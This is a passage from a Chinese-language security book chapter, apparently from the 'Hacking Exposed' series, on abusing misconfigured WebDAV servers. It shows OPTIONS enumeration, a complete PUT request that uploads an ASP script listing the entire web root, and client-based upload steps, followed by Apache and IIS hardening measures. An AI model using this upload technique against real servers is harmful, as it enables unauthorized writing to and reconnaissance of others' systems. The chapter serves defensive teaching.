8.2.4 WebDAV

似乎是对FrontPage不满意,Microsoft很久以前就支持一组HTTP扩展,称为Web分布式创作和版本管理(WebDVA或者DAV),用于支持Web内容管理。WebDAV在RFC2518中描述。Microsoft的IIS Web服务器第5版默认支持WebDAV,在版本6中WebDAV作为一个可选的组件,而WebDAV附加模块可用于大部分其他流行Web服务器(甚至Apache也有一个mod_dav模块)。

我们已经在其他版本的《黑客大曝光》中公开表示了对WebDAV的怀疑,主要是因为它提供了一种直接通过HTTP向Web服务器写入内容的途径,而除了文件系统ACL所提供的安全性之外,WebDAV没有任何内建的安全措施。除非有合适的限制,否则这就是灾难之源。但是,WebDAV已经广泛地部署在从Microsoft客户端和服务器(例如SharePoint)到开源产品如Alfresco的各种产品上,所以讨论其安全品质现在可能没有什么意义。表8-2展示了一些更容易被误用的WebDAV方法。关于表8-2有两点需要说明:对于COPY方法,所有WebDAV资源必须支持这一方法,但是即使应用声明该权限存在,也不意味着你总是有能力复制。使用PROPFIND方法,空的请求将返回默认属性的列表。然后,攻击者可以创建一个符合规定的PROPFIND请求,包含具有用于搜索的参数的XML请求主体。

多年以来,在现成的WebDAV实现中有少数公开的漏洞。大部分漏洞的严重程度都是低到中等(从目录结构泄露到拒绝服务)。目前,黑客社区似乎还集中于容易实现的目标,许多发布的通告都与DoS问题相关。当然,本章关注的不是现有系统的缺陷(参见第3章),而是错误的配置。让我们来关注一些识别和利用WebDAV错误配置的常见方法。

表8-2 可能遭到误用的WebDAV方法

Web服务器一般只为网站的有限部分启用WebDAV。例如,网站可能有一个“upload”文件夹(http://www.site.com/upload/)启用了PUT命令,让用户上传内容到网站。因为网站的每个文件夹和子文件夹都有不同的命令和权限,评估的第一步是识别与服务器上每个文件夹和文件相关的权限。你可以用OPTIONS命令很轻松地完成这一任务。发现服务器文件和文件夹可用权限最有效的方法是采用网站爬行收集到的数据,枚举每个文件夹和文件,识别具有写入权限的内容。当你在结果中发现MOVE、MKCOL、PUT和DELETE方法时,就有利可图了。下面的HTTP请求示例说明了如何使用OPTIONS命令映射网站根文件夹上的WebDAV:


OPTIONS / HTTP/1.1
Host: www.site.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Wed, 17 Feb 2010 11:26:31 GMT
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

接下来检查给定文件夹上存在的权限,这可以为我们指出更多通过WebDAV能够攻击的有趣内容。我们以粗体强调显示示例中的文件夹允许的修改命令:


OPTIONS /Folder1/any_filename HTTP/1.0
Host: www.site.com
HTTP/1.1 200 OK
Connection: close
Date: Wed, 17 Feb 2010 9:15:01 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, MKCOL, LOCK, UNLOCK
Cache-Control: private

从这个例子你可以看到,这个文件夹允许一些相当强大的WebDAV方法(DELETE、PUT、MKCOL),攻击者可以轻松地利用它们。我们已经见过的实例之一是上传一个脚本在整个Web根目录中递归地列出目录(在这个例子中,是一个.asp页面):


PUT /writable-folder/dirlisting.asp HTTP/1.1
Host: www.site.com
Content-Length: 1279
<h3>Directory listing of Webroot</h3>
<% ListFolderContents(Server.MapPath("/")) %>
<% sub ListFolderContents(path)
      dim fs, folder, file, item, url
      set fs = CreateObject("Scripting.FileSystemObject")
      set folder = fs.GetFolder(path)
      Response.Write("<li><cTypeface:Bold>" & folder.Name & "</b> - " _
      & folder.Files.Count & " files, ")
      if folder.SubFolders.Count > 0 then
      Response.Write(folder.SubFolders.Count & " directories, ")
      end if
      Response.Write(Round(folder.Size / 1024) & " KB total." _
& vbCrLf)
      Response.Write("<ul>" & vbCrLf)
for each item in folder.SubFolders
ListFolderContents(item.Path)
next
for each item in folder.Files
url = MapURL(item.path)
Response.Write("<li><a href=""" & url & """>" & item.Name & "</a> - " _
& item.Size & " bytes, " _
& "last modified on " & item.DateLastModified & "." _
& "</li>" & vbCrLf)
next
Response.Write("</ul>" & vbCrLf)
Response.Write("</li>" & vbCrLf)
end sub
function MapURL(path)
dim rootPath, url
rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "\", "/")
end function %>
HTTP/1.1 201 Created
Connection: close
Date: Tue, 20 Sep 2010 19:31:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://www.site.com/writable-folder/myfile.asp
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK

另一种方法是使用你的WebDAV客户端,可能你会觉得容易一些。如果你使用Windows,那么就已经有了一个WebDAV客户端。只要按照下面的步骤进行。

1.从Windows任务栏,选择开始|运行。输入上传的URL,如下图:

2.Windows将该网站当做UNC路径打开。拖放所需的文件:

如果你使用Unix或者Linux,可以下载简单的命令行客户端Cadaver。在本章结尾处的“参考与延伸阅读”小节中可以找到Cadaver的下载链接。

WebDAV创作对策

由于Microsoft的支持,广泛部署WebDAV已经成为现实。我们关于WebDAV的最极端建议是在生产Web服务器上禁用它。如果这样做不现实,可以选择在HTTP服务的单独实例中运行,加以严格的ACL和验证。你还可以限制服务器支持的方法类型;但是如果你打算使用WebDAV,可能希望创作者们可以使用全部方法。确定你信任你的作者们!

配置WebDAV可能很容易令人困惑,由于某种原因,它经常与标准的Web服务器扩展分开配置。我们接下来会列出在IIS和Apache上配置WebDAV的标准指令。记住:WebDAV有许多种实现;应该参考WebDAV软件提供上的文档来得到最佳的结果。

Apache上的安全WebDAV配置: 在Apache上,WebDAV的控制很大程度上依赖所安装的具体DAV软件。下面的例子说明了如何在Apache配置文件(也就是httpd.conf)中添加例子中的内容,禁用mod_dav(链接参见“参考与延伸阅读”小节)实现上的特定WebDAV方法:


<Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE COPY MKCOL PUT DELETE>
Order allow,deny
Deny from all
</Limit>
A better method is to use the Limit method to remove all but necessary methods:
<Directory /usr/local/apache/htdocs>
<Limit GET POST OPTIONS>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>

当然,你也可以确保在Apache配置文件(httpd.conf)文件的<Directory>或者<Location>指令中不出现“DAV On”,从而完全关闭WebDAV。默认情况下,WebDAV是关闭的,该行不会出现。

IIS上的安全WebDAV配置: 在IIS5.x上,Microsoft的知识库文章241520描述了如何禁用WebDAV(链接参见“参考与延伸阅读”小节)。下面内容改编自KB 241520:

1.启动注册表编辑器(Regedt32.exe)。

2.找到如下键值并单击:

HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters

3.在“编辑”菜单上,右键单击“添加键值”,添加如下注册表键值:

Value name:DisableWebDAV

Data type:DWORD

Value data:1

4.重启IIS。这一修改在IIS服务或者服务器重启之后生效。

在IIS 6.0中,Microsoft最终做了正确的事情。首先,默认禁用WebDAV。其次,启用或者禁用WebDAV极其简单。你只要打开IIS管理界面(%systemroot%\system32\inetsrv\iis.msc),选择Web服务扩展,然后选择WebDAV并单击“禁止”按钮,如图8-1所示。

图8-1 在IIS 6中禁用WebDav